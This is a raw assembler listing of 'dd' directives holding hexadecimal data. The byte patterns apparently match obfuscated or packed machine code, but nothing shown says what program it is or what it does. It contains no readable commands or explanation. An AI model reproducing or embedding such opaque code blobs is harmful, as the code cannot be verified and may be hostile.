		dd 138F0F60h, 57000000h, 0CE9h,	91D05500h, 0CE905D72h
		dd 41D2F0BBh, 840F5EBDh, 8, 2820Fh, 1CB20000h, 8B66CF8Bh
		dd 0DC91BEC2h, 890F08BDh, 0Ch, 6E8h, 5EA83300h,	58EB3B76h
		dd 1820Fh, 0BAF50000h, 75DE0525h, 0FF6BF0Fh, 58Dh, 601CBF00h
		dd 8B0F73CBh, 5, 36CB9BEh, 13E85259h, 50000000h, 0CC4B0761h
		dd 5FCE0D4h, 3DCCA98h, 41529E27h, 0D78BB03Dh, 0B966585Eh
		dd 8153CFD8h, 0A9D274E3h, 0E8815E60h, 70A3AEAEh, 14E9h
		dd 0F5828F00h, 61272C6Ah, 4AE8B7ACh, 0A342A2FEh, 96A28AAFh
		dd 0FEF8A62h, 38Ah, 0FB8B6600h,	0D98BF48Ah, 68D0F51h, 0F000000h
		dd 8Fh,	50F95900h, 12E8h, 73E61200h, 0C7A35ADCh, 565A01A0h
		dd 2EF7E3A3h, 0E93AAEF5h, 11h, 0C6B49F57h, 0F50AA1E2h
		dd 88CEDF62h, 97041AE4h, 525859BCh, 18870Fh, 12E80000h
		dd 46000000h, 660BC8FAh, 6C3CAB94h, 9DA37859h, 2E20908Fh
		dd 805A5F08h, 0BE9ECF5h, 26000000h, 9C693262h, 52ADA741h
		dd 0B70F0D8Eh, 1D800FF6h, 60000000h, 13E807B7h,	0E8000000h
		dd 0C4977CCBh, 8361F407h, 9CACB84Bh, 6DB2103Ah,	61583516h
		dd 57DABF0Fh, 215CBE66h, 0AE85Ah, 0C2610000h, 0FEF3F26Eh
		dd 0AA12A9A9h, 12E9h, 0BC1AEC00h, 0DAA80F3Ch, 0C42D2356h
		dd 653726E5h, 5F5B71C6h, 13E9h,	12AF5B00h, 90435020h, 0B6DA88F4h
		dd 0CA1C5D46h, 3FC40FA8h, 28B0Fh, 0F98B0000h, 50FB8B66h
		dd 577CEE81h, 0F5F383Bh, 1481h,	8E800h,	2DAB0000h, 5626025Ch
		dd 0F781B1E7h, 5A6E871Bh, 6E85Fh, 0AFEA0000h, 70A636EBh
		dd 0CE8h, 3F4D3900h, 0EB906041h, 0E761B0F1h, 14E892h, 0DE6F0000h
		dd 7AE4E801h, 0D2F850EFh, 0BFFD9D19h, 8AEC0D4Fh, 5E5EB961h
		dd 8AF88B5Eh, 0B1DA8BF9h, 0D1816646h, 0CE808AA8h, 6E955h
		dd 39A60000h, 3E2EFE1Eh, 0E919E980h, 11h, 46E9DA5Dh, 0F72CDADEh
		dd 4CB0E651h, 39CC9EF9h, 94BF66D4h, 0F5050D2h, 80h, 0F85B5800h
		dd 148D0Fh, 0FE90000h, 9E000000h, 709DEADFh, 33ED6672h
		dd 423A8694h, 13E9B94Bh, 0F000000h, 30005E6Ah, 76D30D94h
		dd 0CB102966h, 0F0CDB944h, 9CBF28F4h, 814A1AC4h, 27DCCECEh
		dd 0EA81661Eh, 0D68B8AE1h, 0E84DC580h, 8, 34164AF0h, 2285473Ch
		dd 0CE8h, 56502D00h, 0CEE46CD9h, 0B67C5C87h, 585AF940h
		dd 0F856D281h, 0D5B225A0h, 791E3EBFh, 0F181F903h, 4BE7EA50h
		dd 5E9h, 394D3B00h, 0F18BC8EBh,	0E8CB8B66h, 5, 4530B784h
		dd 0FB8B669Ch, 5880F5Fh, 66000000h, 0EBC3D181h,	20810Fh
		dd 820F0000h, 1Ah, 14E8h, 24341E00h, 0C08DFCCh,	7BF4B10Eh
		dd 0A47A9329h, 0BB7D0B75h, 13E95A99h, 0F3000000h, 4C66F3FAh
		dd 0DA12F57h, 0EB57389Eh, 0A0217ABEh, 49B9AEDBh, 0F26CC14h
		dd 0E680C0BFh, 0B70FF8F2h, 0CD79BAC8h, 6E94EE2h, 1000000h
		dd 5FE3739h, 0A0B86672h, 850F52E7h, 16h, 11E9h,	803D5100h
		dd 0D90A7DE8h, 1DA51D68h, 0DF8A140h, 0F5F7C6Fh,	38Ah, 0C6B70F00h
		dd 0AE9F9h, 940000h, 0C6B30956h, 5B14D8A7h, 0E9F2B70Fh
		dd 11h,	84E8CD6h, 594DDB55h, 881F927Fh,	6A31BF9Fh, 0CE8B6680h
		dd 0B7F3B70Fh, 8160F90Eh, 3D0E90EAh, 0F88B6140h, 0B8C38B66h
		dd 766AB7F8h, 18D0Fh, 0E8FC0000h, 12h, 0EFA20D7Dh, 0DA3B5748h
		dd 438285E7h, 0CA0D95CAh, 5760243Fh, 5961F85Fh,	14E9h
		dd 1BDCC200h, 440F281Ch, 0C57830Dh, 0E738CECFh,	8E67E4B3h
		dd 0A8C0F08h, 0E9000000h, 5, 0EC5F064h,	0FDA8B48h, 0B960F2B7h
		dd 2B21CD1Eh, 61D1BF0Fh, 8E9h, 0F6363B00h, 31C0EB71h, 0CEBF0F25h
		dd 6501BFBFh, 6E937h, 7D350000h, 6DA78135h, 0F3816660h
		dd 0E961D2A1h, 5, 0F7D86039h, 0F523B30Dh, 11E9h, 0B6607700h
		dd 0A4ED51CCh, 0EDB39E16h, 958D37DEh, 0DE94076h, 0E9000000h
		dd 0C55E6934h, 0D30C1BACh, 0CA9BE4E7h, 0E5DB8166h, 0D6BF0F02h
		dd 6E8h, 580BCA00h, 0FA17D09h, 8A5AD1BFh, 0CB8B66E5h, 0E1D28166h
		dd 5820F71h, 66000000h,	0D0A7D181h, 0E8DFB70Fh,	0Dh, 64884E0Ch
		dd 0C5580728h, 71B2ACE6h, 0E881666Fh, 0F5F561Fh, 38Eh
		dd 51DB8000h, 0CF8160F8h, 1DCDD5C7h, 61C2BF0Fh,	805B5260h
		dd 0E961E3F0h, 5, 2FA7A37Ah, 0C68156F1h, 347D3442h, 4AB86658h
		dd 2800FDDh, 8B000000h,	0C38166CBh, 0B660D0D2h,	0E78A6063h
		dd 506161F8h, 29E968B9h, 0CB8B5E60h, 12E9h, 0C7FA9F00h
		dd 21179651h, 2882C85Bh, 0D8C67AA5h, 6664746Dh,	0E8A72CB8h
		dd 5, 1A8D7A92h, 52575A33h, 86C2F381h, 585914CBh, 9E9h
		dd 7AD69200h, 0EE65CF09h, 60F59801h, 10820Fh, 0AE80000h
		dd 88000000h, 8D17A2E5h, 0D85A4BF5h, 33BF5E51h,	6125657Dh
		dd 0FCFB70Fh, 1480h, 0FE900h, 0CBBE0000h, 0E5E6AC7Ah, 725B0330h
		dd 2776D22Fh, 0E88A60DBh, 1095C081h, 50610FF2h,	7E9h, 193EE900h
		dd 1D8476F1h, 1820F59h,	0F5000000h, 6E9h, 0BE168400h, 0FC4F7EFFh
		dd 0AE8h, 0BC3BA100h, 4A6DFECFh, 60B116C1h, 11E8h, 31FC8C00h
		dd 8B33CAA9h, 0FFB35070h, 0C146E21Dh, 665FDA7Ah, 0D294E781h
		dd 81665E61h, 0E9515CEEh, 10h, 6213BFB1h, 1EB9A71Dh, 4A02587Eh
		dd 8BDD6C00h, 8B66F18Bh, 6860FF1h, 60000000h
		dd 0CB8B5E56h, 38A0F61h, 80000000h, 0BF0F6BE3h,	4BBA66FFh
		dd 60DF8B7Dh, 733AB866h, 68C0Fh, 890F0000h, 0
		dd 0D5B06061h, 61CEBF0Fh, 8F0Fh, 0FF90000h, 581h, 96A0BF00h
		dd 52603347h, 0DE9h, 61EDFC00h,	0B4A57A7Ah, 0A88248D4h
		dd 5158DDF7h, 1BB0E381h, 61582461h, 8880Fh, 8E0F0000h
		dd 2, 0E7815856h, 311C85B6h, 0CE8h, 87378800h, 5A769BFh
		dd 0D144A311h, 10800FA7h, 0E9000000h, 0Bh, 82953190h, 2C1391B3h
		dd 59F33B1Eh, 86C38166h, 9E9DDh, 23DD0000h, 0E0EF302h
		dd 0F98FA7C3h, 0F7BF0FF8h, 14E9F8h, 0FBB10000h,	9FE42BFAh
		dd 0E4D0C23Bh, 0AA2B60A2h, 0E781757Ah, 8B66C372h, 0D18B66F1h
		dd 0BFC1B70Fh, 4AFCB4F4h, 0C849B866h, 6860Fh, 840F0000h
		dd 0
		dd 0D870Fh, 6E80000h, 0B7000000h, 3E5B3F87h, 0F59F89Bh
		dd 588h, 0C809BE00h, 0BA665662h, 8E9B88Ch, 23000000h, 5F76DAC8h
		dd 51DFB8A4h, 860F51h, 58000000h, 0B8666059h, 8F0FAF3Eh
		dd 2, 0E96102B2h, 0Ch, 471274B3h, 1AC5F48Bh, 408C77Bh
		dd 9E8h, 0DC6B4B00h, 5A595D2h, 6E9D797h, 74000000h, 0FB6E5D38h
		dd 800F5BF9h, 27h, 14E8h, 0B88AAD00h, 0EB0D9CD5h, 0C94CA05Ch
		dd 79C388C3h, 82AD57EAh, 7E8DBh, 4B510000h, 0FEF64D26h
		dd 815E5EB6h, 0BF4CCDD7h, 0AE85336h, 73000000h,	0BE3693A5h
		dd 818559Fh, 5B58F5CFh,	206EFABBh, 0BE825h, 0D9660000h
		dd 3B26919Ch, 0CC9A6FBBh, 5E95FF5h, 36000000h, 1D3064Dh
		dd 0E7F0B866h, 18A0Fh, 0E8FC0000h, 9, 0B091FE2Bh, 2D423CC1h
		dd 3840FCDh, 66000000h,	6658C38Bh, 8A56FB8Bh, 11E95EDAh
		dd 0E000000h, 0CF4D49D1h, 43343BD9h, 0F122C414h, 18607929h
		dd 9E9F9h, 25B40000h, 56F844DCh, 0E96D35F1h, 8,	6111B302h
		dd 6AEFB476h, 9066F681h, 8A0F4BFAh, 8, 2850Fh, 58570000h
		dd 6870Fh, 0CE810000h, 58B5FE78h, 66DE8B66h, 812052BFh
		dd 34AE5ED8h, 0F1B70F32h, 0BEF98B66h, 7D19BC21h, 8800Fh
		dd 8D0F0000h, 2, 1BB2D18Bh, 0FFB70F52h,	2FC1805Eh, 8B6660F5h
		dd 0D88B60FBh, 62DB8166h, 0F61615Bh, 0BF0FCABFh, 64D281CEh
		dd 661E573Dh, 0EE9C18Bh, 50000000h, 60C2AB12h, 0B54B3E0Bh
		dd 337646D1h, 60DE8B77h, 0ABB22BEh, 0FBB70F1Fh,	0DE961h
		dd 0A5130000h, 672B9BF3h, 0F00E3DDFh, 0F0162CFh, 83h, 0B70F5200h
		dd 6E859DFh, 76000000h,	15BDD2D4h, 16870F15h, 0E8000000h
		dd 10h,	6829AE22h, 96EF108Dh, 0EB2FC195h, 5246F5B6h, 60575F5Eh
		dd 0FD1B70Fh, 89h, 605B6100h, 0D18AF861h, 7E9F8F8h, 88000000h
		dd 4A5F5C58h, 8B665B5Bh, 0F60F5CFh, 28Bh, 0E9585100h, 6
		dd 2980847Bh, 0E961727Ah, 14h, 87073DAh, 2D7C89D7h, 0DD4B8657h
		dd 427E4880h, 0D7664C67h, 29C68166h, 0D1BF0F0Bh, 0D7D08166h
		dd 5E56F84Bh, 870F57h, 5E000000h, 0E46FF281h, 9BBF6999h
		dd 6079682Fh, 23CF8166h, 13E948h, 94B00000h, 0C0A2848Dh
		dd 4C03138Eh, 3B14F8A2h, 177BCAE1h, 10E961ACh, 0B8000000h
		dd 719A727Ch, 6313EEC7h, 96D64631h, 5063807Eh, 91F9BB5Eh
		dd 8B66782Bh, 0E9E0B1DAh, 14h, 9DE03B35h, 95C45D7Eh, 6115A1A7h
		dd 7A24BA52h, 1F130A2Fh, 168A0Fh, 11E90000h, 0B9000000h
		dd 0FA1377B5h, 0CBCFCF13h, 0D9AE1265h, 0C5C48D54h, 3810Fh
		dd 0BF0F0000h, 0FDD680CFh, 7E9h, 0A5663A00h, 33227E28h
		dd 0E97BD380h, 0Bh, 777FE40Bh, 2F7CC35Dh, 0B510303Ch, 0D9EE81AAh
		dd 66449FA7h, 325EE381h, 9250BA66h, 0CE9h, 2F0C3700h, 687C2E4Ch
		dd 0B045EC6h, 13E95342h, 66000000h, 31149E11h, 0F7850AD1h
		dd 74B40530h, 699149EDh, 0F587471h, 84h, 14870F00h, 0E8000000h
		dd 8, 214C18C9h, 0C744F902h, 6EC0C181h,	0E8587E69h, 11h
		dd 8C1E172Dh, 1F41A496h, 73B59DA1h, 0FF45A5D5h,	59F553FFh
		dd 5830F5Bh, 66000000h,	3F84DA81h, 8CF78166h, 0C6B70FC1h
		dd 8B42E880h, 0EE9D9h, 0B05B0000h, 6CD09A2Bh, 65386C8Dh
		dd 23B90261h, 214C281h,	66F9229Dh, 5657D68Bh, 5A586160h
		dd 8B6652FCh, 0DDB35FF1h, 0D3E78166h, 0F1816670h, 11E9969Eh
		dd 0EE000000h, 2191F17Ah, 7019CF8Dh, 0AAF5C23Eh, 70F6A704h
		dd 0F29F780h, 88Dh, 830F6000h, 0
		dd 0EE816661h, 0D78B51F6h, 0CEEE8166h, 0F98B6690h, 0AD03C981h
		dd 0BB502C50h, 61D7E573h, 48C0F5Eh, 66000000h, 0F6EBCBFh
		dd 6652F1B7h, 0F59C28Bh, 85h, 0EE800h, 44710000h, 2F91977Fh
		dd 2C1963BBh, 86C39F3Ch, 58F1BF0Fh, 6E9D3B7h, 42000000h
		dd 436F5AE0h, 3820FE1h,	80000000h, 8B66C4C2h, 0F78B66F7h
		dd 0D2B86060h, 0F5E1CE7h, 0E961F2BFh, 0Eh, 0C874119Ch
		dd 39DE5775h, 63E001A6h, 0F6180ECh, 686h, 810F00h, 66000000h
		dd 61F5E281h, 0C1E28166h, 0BE9F8B7h, 79000000h,	9BF7A6C7h
		dd 0FD0041DFh, 830F4F64h, 6, 0FEA6EB81h, 0AE80D3Eh, 0B7000000h
		dd 0FD75EEBh, 0EC40F21Dh, 13E8EFh, 9EAB0000h, 0D8C9D30Eh
		dd 0ADA8F896h, 0A2B8315Dh, 7F8D51ECh, 0D08B66A6h, 0FE85F58h
		dd 94000000h, 70D08E3Fh, 8E1A76EFh, 5B652A45h, 880F930Ch
		dd 3, 5FD1B70Fh, 38A0F60h, 80000000h, 850FF7F6h, 3, 61C88B66h
		dd 0C6C18056h, 0E7DA8058h, 0CEE38060h, 0F1B70F57h, 0F88B615Fh
		dd 0F98BD18Ah, 69F0E381h, 0BB666DFFh, 0BA6677EBh, 0BA663B71h
		dd 66F5A02Ah, 0BE66D68Bh, 6653ECAFh, 8E1ED981h,	0CF816658h
		dd 0BF66DD5Ch, 0C18A3DD9h, 68B0Fh, 8D0F0000h, 0
		dd 4BBAF8F8h, 666FBB7Dh, 0E9F8C78Bh, 0Ch, 0E5821F0Ch, 0FD5C9614h
		dd 6682A628h, 60DABF0Fh, 5E616050h, 6BCF8166h, 0F38161C9h
		dd 98A1669h, 0CE86060h,	44000000h, 23F7845h, 253057F7h
		dd 5A26D940h, 840Fh, 61610000h,	0B0AFD180h, 66DF8B8Ah
		dd 6E9D38Bh, 95000000h,	0BCB14652h, 66F28B1Dh, 24D9D381h
		dd 0F78AE8B3h, 50EF8166h, 0F8EF8162h, 8B48B675h, 51C1BBD6h
		dd 4FB81D12h, 0E930ED82h, 9, 77FDA53Dh,	4E005C4Bh, 0CE974h
		dd 6B5E0000h, 78AC9441h, 0E9EC1ABCh, 0BA66FA90h, 0AE9D02Eh
		dd 0C4000000h, 8539CF2Dh, 0C5B77F24h, 0CF81663Bh, 0CBB93AC1h
		dd 0B73C09C4h, 0ABE66E6h, 8FBB66ABh, 840F6001h,	2, 0E7815F50h
		dd 78364DA9h, 81665761h, 5BBDBFD3h, 8BD18B66h, 860FC3h
		dd 0E9000000h, 12h, 6BBB776Dh, 45899E6Ch, 86A754EBh, 65460E1Bh
		dd 8B66FCAFh, 0F3B70FD0h, 2820F60h, 60000000h, 0CBBF0F61h
		dd 66585761h, 0FB8BF08Bh, 0B70FE5B1h, 8E9F8D7h,	21000000h
		dd 660983BFh, 0F5F940Ah, 584h, 0A4E8BA00h, 81666E6Ch, 6048DDEEh
		dd 58D0Fh, 81660000h, 0FBC1DD3h, 282h, 61616000h, 60FE8B66h
		dd 0F616DB5h, 485h, 5B575700h, 0C521BB5Ah, 870F7D7Fh, 3
		dd 0FD3BF0Fh, 283h, 0FC78B00h, 168Dh, 11E900h, 0FB0D0000h
		dd 41CB3B16h, 6E5D3874h, 0BE23F9FBh, 803429E2h,	0D38B8DC1h
		dd 5E8h, 0B9B82E00h, 0EE96499h,	97000000h, 9B5DBF9Bh, 0C49C56EDh
		dd 1F24A56Ah, 0C38B5B2Ah, 2860F60h, 8A000000h, 611FB0F0h
		dd 0FCF8B66h, 0B86h, 58E0F00h, 66000000h, 0A936E281h, 6E8h
		dd 37E61E00h, 66246FA5h, 5E0B31BAh, 0AE9h, 0FB5D5F00h
		dd 73403FC6h, 0BBCCC676h, 7BFE37E1h, 1BB96660h,	90B86690h
		dd 0E95261CDh, 7, 0EAB1EC02h, 5F8C085Fh, 60CA8B66h, 0EE9h
		dd 31BA4100h, 13CAE9Fh,	546BA3DEh, 6023D927h, 0BF0F6160h
		dd 666161F1h, 0EE8DA8Bh, 37000000h, 0BEFE2EBEh,	0F6AEB917h
		dd 0F85A6B99h, 11E9569Ch, 33000000h, 845CAFC5h,	0D124E793h
		dd 94272987h, 0EE6416BAh, 0E9F8595Eh, 6, 957610BEh, 0E3806921h
		dd 88A0FF1h, 0F000000h,	287h, 0F616000h, 386h, 0C9BF0F00h
		dd 0C850Fh, 7E90000h, 2B000000h, 4D8E92DCh, 0D0BE5F4Eh
		dd 8148184Fh, 0F048E0D7h, 3B1506Bh, 0AE859h, 351F0000h
		dd 9915E92Bh, 0A29160C8h, 5AD6BF0Fh, 5E9h, 2BC52700h, 810F9699h
		dd 15h,	0DE8h, 0B6773200h, 0E521F919h, 0ED8A5031h, 6160330Fh
		dd 0BE858h, 0B98E0000h,	933055A7h, 0F774F613h, 5E96089h
		dd 35000000h, 2A51D396h, 7FB9DA81h, 5B61270Eh, 0C2816657h
		dd 0B85AD012h, 23BC371Eh, 0D2DF8166h, 28B0F3Eh,	8B000000h
		dd 886FB8DEh, 860F5FCEh, 19h, 14E9h, 60C9AB00h,	1F3D7688h
		dd 5E176D8Dh, 0E229582Bh, 8873D21Ah, 0F6816693h, 0EA817550h
		dd 659994DDh, 53BAD580h, 5820Fh, 81660000h, 5BFC21D9h
		dd 98BAFA8Bh, 0E9628B88h, 0Fh, 132B47F2h, 8E98F92Eh, 0E844CCDBh
		dd 0F9F9FA91h, 38A0Fh, 8B660000h, 4850FF2h, 57000000h
		dd 665B6160h, 0B3C3C781h, 840Fh, 0E9810000h, 0DA569E7h
		dd 7EE5BE52h, 66592C97h, 0FEE7E981h, 7E9F9h, 88210000h
		dd 0FC9F4F61h, 8166F95Ah, 0F5EC6C0h, 820FDAB7h,	8, 0F08B6660h
		dd 61F88B66h, 0C3DB8166h, 0CA8B6635h, 1830Fh, 0FFC0000h
		dd 1384h, 0EE900h, 922D0000h, 262DE595h, 4B330A4Fh, 3F5D7B88h
		dd 8166D88Bh, 8B543CF1h, 1A830FD8h, 60000000h, 11E95953h
		dd 0DF000000h, 387D76C8h, 9A0B1CACh, 0B0CFAE30h, 189AA37Fh
		dd 5840F61h, 0B9000000h, 1DAEBB1Ah, 0C0A0BA66h,	15880Fh
		dd 9E80000h, 1F000000h,	0ADDE630Ah, 39E9B783h, 810Fh, 815A0000h
		dd 0D14238D2h, 0DEEDBE58h, 665659D2h, 0B558F28Bh, 13E95024h
		dd 41000000h, 0C67310E1h, 0EA153067h, 0BDC521Bh, 0DB9D57DAh
		dd 0F591F35h, 6E9C2B7h,	0E5000000h, 78274D91h, 8B86671h
		dd 5880F0Bh, 60000000h,	61F6B70Fh, 0D3816660h, 0F617E32h
		dd 0DCBBC9B7h, 0E8180CF0h, 6, 1CB53C22h, 84B3A8A2h, 0C0B70F5Ah
		dd 3860Fh, 0EA800000h, 5EFC5790h, 7E8h,	5433300h, 7C795DE5h
		dd 0C0BE6650h, 665B5ACDh, 840FC78Bh, 3,	66D18B66h, 665819B9h
		dd 85B2DA81h, 66FB8B66h, 6667EEB9h, 6071CEBEh, 8E0Fh, 8B510000h
		dd 60615BCBh, 0F2AE780h, 689h, 840F00h,	61000000h, 0FF9DF8Bh
		dd 282h, 0E9F6B200h, 6,	0C5ED7833h, 6EB86CB9h, 602885EFh
		dd 15D781F5h, 616D551Dh, 5E9h, 207F3700h, 6E88007h, 49000000h
		dd 0F841678Dh, 58CF8BADh, 37CA8166h, 0E5B35257h, 0AE9F95Bh
		dd 0A7000000h, 9DD4A71h, 7039F0C8h, 0E981661Eh,	0B9BB3E55h
		dd 0B8549EF5h, 39DD3772h, 6E89FB2h, 0C0000000h,	392105F7h
		dd 0EE897h, 65210000h, 10653100h, 0F7120477h, 3254D8E7h
		dd 81665E58h, 60C783E2h, 55D68166h, 0C830F24h, 0E8000000h
		dd 6, 0AB73E3BFh, 6159B56Dh, 0CF1CA81h,	60500A8Bh, 66F18B66h
		dd 5E61F08Bh, 13E9h, 1B6BE800h,	96415DFDh, 0FBA86607h
		dd 0D4F7D963h, 328A9F2Dh, 0FFA8B66h, 38Ah, 0C4D28000h
		dd 66DF8BF5h, 0CA8BC28Bh, 3DCEB9F8h, 0F600303h,	68Ch, 8C0F00h
		dd 61000000h, 52DF8B66h, 55ACD1B9h, 800F5F25h, 0
		dd 148A0Fh, 66600000h, 0A18ACB81h, 7E8h, 35F4BB00h, 0B77528F2h
		dd 0B70F6159h, 0CE9D3h,	0B48B0000h, 0B64A10A2h,	6BD5F1F6h
		dd 66604E76h, 8B66C38Bh, 14E961F0h, 0E6000000h,	0FC199376h
		dd 92ABC20Ch, 0AFA07593h, 8DBB81C1h, 66AACED1h,	1F95C081h
		dd 81FBBF0Fh, 747357EFh, 6660F54Bh, 81A6CFB8h, 633673DAh
		dd 9E86172h, 96000000h,	0EE1E293Ch, 5C45F0E4h, 0BE16DFB9h
		dd 0DE8A5B13h, 8D0Fh, 81660000h, 56D364C6h, 10E9h, 6060F100h
		dd 1E63CAF9h, 87889760h, 0F7E537A6h, 0BE665E90h, 80B606A7h
		dd 0F7DF81FCh, 522BFC73h, 1820Fh, 5BF90000h, 13E9h, 5FD9FB00h
		dd 50329321h, 7B8AAEC5h, 0AB7962D7h, 57060963h,	0C08160F9h
		dd 666D0029h, 61D9BF0Fh, 58D0Fh, 81660000h, 664E9ACBh
		dd 8BFF0BBAh, 0AE8C6h, 0BB50000h, 4ECB823Dh, 0ABCBF50Dh
		dd 0AE9h, 2B351F00h, 0C89915E9h, 58A29160h, 78C38166h
		dd 13E93Dh, 4C9C0000h, 2E989985h, 24427D70h, 0E4B11E02h
		dd 0BEAAC7BDh, 810FF92Bh, 6, 0B70FF560h, 11E861F6h, 0AB000000h
		dd 1FF8F334h, 0DF6CDA9Eh, 353CA2E8h, 1F3E77CAh,	850F5158h
		dd 4, 0C422BF66h, 7E859h, 0D6810000h, 0B068F62Fh, 0F5BF9FEh
		dd 1582h, 0AE800h, 0CFF40000h, 7E891926h, 461F3091h, 0F5C68166h
		dd 0B70F5F12h, 70BBBEF7h, 0F606D24h, 0BF0FD8B7h, 665061D6h
		dd 59677CBEh, 0D0B70F57h, 0C28B6658h, 1B12E681h, 0BF0F2284h
		dd 6800FC1h, 0F000000h,	86h, 3830F00h, 0F000000h, 8B66C9BFh
		dd 9AD781D1h, 0F5CF7F2h, 8A0FC7BFh, 0Ch, 6840Fh, 0D9810000h
		dd 7CFE89E7h, 0E957D38Bh, 0Ah, 0D4BA621Eh, 0CBE2C026h
		dd 0F58196Eh, 0FE9DAB7h, 0FB000000h, 0A92E0315h, 0EF15CF39h
		dd 1E81DA85h, 7E989F6h,	0CF000000h, 8A3E68A4h, 5756FD6Bh
		dd 0CE9h, 4C194300h, 0D167DDF0h, 64A20060h, 0E95858FAh
		dd 14h,	9195E6DCh, 0D5A5E59Dh, 529C8447h, 6DDC5C67h, 63A8FE90h
		dd 10E8h, 0C4FE9400h, 2BE909FCh, 76E00EADh, 99283625h
		dd 605BF5E5h, 610ED780h, 81F7BF0Fh, 0EE6AFCEFh,	13E80Ah
		dd 69A90000h, 0DDD051F9h, 0B4C2F707h, 0C5E242DBh, 0F3B3A438h
		dd 30BE5A49h, 5629A25Dh, 5AF9B70Fh, 0C840Fh, 8A0F0000h
		dd 6, 870Fh, 8B660000h,	8CBA66D3h, 0C1816660h, 0FF95DCDh
		dd 0F8Fh, 0AE900h, 0DD160000h, 0FE567FFDh, 7E204016h, 11E8F9FCh
		dd 93000000h, 4F77914Fh, 6FB759D5h, 0B2BB8066h,	28758B56h
		dd 1B93BF66h, 7E95Bh, 411C0000h, 5482FC27h, 0F181F93Ch
		dd 1F359940h, 188C0Fh, 840F0000h, 12h, 0DE9h, 4353E700h
		dd 0BBE1DA65h, 0FDF02C2Dh, 0B8662E14h, 7E95027h, 0FA000000h
		dd 8843089Ch, 81660843h, 0FE207D9h, 8166C9B7h, 0F5430F7h
		dd 280h, 0E943B000h, 0Dh, 168EEDA3h, 9DADE8D0h,	13F2CEA9h
		dd 0D0816687h, 0B70F68F7h, 683CBAC9h, 816610D5h, 0E82B96E1h
		dd 0Dh,	0B408D7F1h, 0EBFDB109h,	0CA30B62Ch, 0C188BE64h
		dd 0F5A2104h, 489h, 0B96600h, 8E0F5625h, 13h, 0EE9h, 4EC84700h
		dd 870A0B2Ch, 65344558h, 5837FDE5h, 5FCAB966h, 72BFF181h
		dd 840F58EBh, 0
		dd 8E0FF28Bh, 13h, 0EE9h, 85C3F400h, 1714C456h,	15FF9BFh
		dd 81C6BE9Fh, 8B106BF0h, 0F0816636h, 12E95738h,	2E000000h
		dd 0D60DE9D3h, 1F79FE43h, 26F0AF29h, 63FF1914h,	80EB8AFDh
		dd 0E951E1E7h, 8, 0B22F5274h, 98926EA2h, 0C18B6658h, 5FEA8A53h
		dd 56D88B66h, 0F5FDF8Bh, 8C0FC2BFh, 5, 0F84ACABBh, 0AE8FC2Dh
		dd 0A3000000h, 48402EA8h, 0E777B9BEh, 22C08058h, 0E8ACB15Ah
		dd 7, 60A2E4D0h, 607AAA2Bh, 0E8525861h,	11h, 0A4489668h
		dd 0C921F5C3h, 0FB5152CEh, 0DB57E85Ah, 5A76B4C7h, 0AE95Fh
		dd 0DFFF0000h, 0D6E94A85h, 5AC12607h, 0C860Fh, 870F0000h
		dd 6, 0EB0BC981h, 0F7BA4A45h, 50610A47h, 0D2F58058h, 75CB8166h
		dd 0BEC18B15h, 6D533D84h, 81FEB70Fh, 0D5288DD8h, 0F98B660Ch
		dd 9E8h, 0BF49A300h, 671DA23Bh,	0BF665F91h, 0F58174Fh
		dd 6E9C8B7h, 66000000h,	57034C72h, 5E98Ch, 0D4590000h
		dd 0FF2B25Fh, 6060F7BFh, 81666160h, 613708EAh, 11E9h, 0A5C5E100h
		dd 0AEBF3F5h, 0C820467h, 3746288h, 66612DFFh, 418F681h
		dd 40C88166h, 800F60D8h, 5, 15267EBAh, 870F6128h, 5, 0B893D9BAh
		dd 60505357h, 0F595A61h, 0CE9D6B7h, 0CD000000h,	0F2C82B6Eh
		dd 661F105Dh, 0FC81D7F0h, 5E9h,	7C801100h, 0FE9577Ah, 76000000h
		dd 729E47AFh, 4AED4794h, 80134541h, 0E960F6EEh,	0Ch, 362BBC37h
		dd 75D45FE6h, 0BC2251BBh, 10E9h, 3462C800h, 0B310A1E8h
		dd 1276D73Fh, 0A6FBFD41h, 8B666123h, 99A6BED0h,	80F536EAh
		dd 0DA8B0ECDh, 0EE9F5h,	840E0000h, 85E1BCF5h, 2CF424DCh
		dd 1C18B909h, 0E7AA44BAh, 0F281662Ah, 0BF0F5350h, 0F60F5F7h
		dd 8Fh,	28C0F00h, 0B1000000h, 0CF816108h, 5E064B59h, 0E7C88166h
		dd 8B66F5FAh, 68B0FD9h,	81000000h, 0B1524AF1h, 0FB8B660Eh
		dd 8BEE75B8h, 0E4BF666Fh, 7E960DCh, 23000000h, 0AC1E37D9h
		dd 81668A4Ah, 613439D2h, 0EF8BB66h, 68F0Fh, 0C2810000h
		dd 277B23A2h, 0FFE8B66h, 0E680DBBFh, 8BC88BFCh,	14C681C6h
		dd 8B2AA9E2h, 5E8DEh, 69740000h, 60787C9Eh, 7C88BF66h
		dd 6117E480h, 0D7F38158h, 0F08D247h, 8Ah, 68F0F00h, 51000000h
		dd 0FF78B966h, 0DFB1565Ah, 4AC98158h, 601F9605h, 95D78166h
		dd 0C38061FAh, 870F78h,	0F000000h, 58Eh, 0E47ABB00h, 860F60A2h
		dd 4, 6745BF66h, 66CAB70Fh, 0F6AACBAh, 6660FBB7h, 0B966CF8Bh
		dd 56611D64h, 5E8h, 0DCF81A00h,	800F7E29h, 0
		dd 820F5858h, 0Eh, 6E850h, 0A19B0000h, 0F95CF241h, 0E9565B59h
		dd 12h,	714B465h, 0C0B12204h, 7B9DB7C7h, 61131450h, 525FF060h
		dd 5E95Ah, 22FA0000h, 0F8C5A97h, 584h, 2F49BF00h, 12E8557Ah
		dd 0DA000000h, 3AE10BB9h, 363EFCE3h, 91C685B3h,	1E59AA28h
		dd 7EF6819Eh, 5B5AB79Eh, 0B65B64B9h, 12E951h, 0F3A10000h
		dd 0BA11CAD7h, 0F9119BE1h, 53812969h, 57846075h, 518DBB66h
		dd 7355BF66h, 9E9h, 7B6ADA00h, 0F015D6F7h, 93B414ACh, 0FF78B66h
		dd 85h,	45F28000h, 6676DE80h, 8EA7D981h, 2840F56h, 53000000h
		dd 80605A5Bh, 8E9A0EFh,	0C000000h, 0E524FB8Bh, 61ADC246h
		dd 0CF93BB66h, 1AD0BA66h, 0B8DF8BF5h, 0AA157F2h, 5810Fh
		dd 0C0BB0000h, 8138D4E0h, 28AA08D0h, 13830F58h,	0E9000000h
		dd 0Eh,	0CAE3C842h, 0EFD8E835h,	5580008Eh, 5F509363h, 3061C281h
		dd 830F7A2Dh, 1, 810FF5h, 0F8000000h, 95DD04BEh, 0C9B0F81Dh
		dd 6E8h, 2E71100h, 600A9E0Fh, 8F0Fh, 0F08B0000h, 53FC5861h
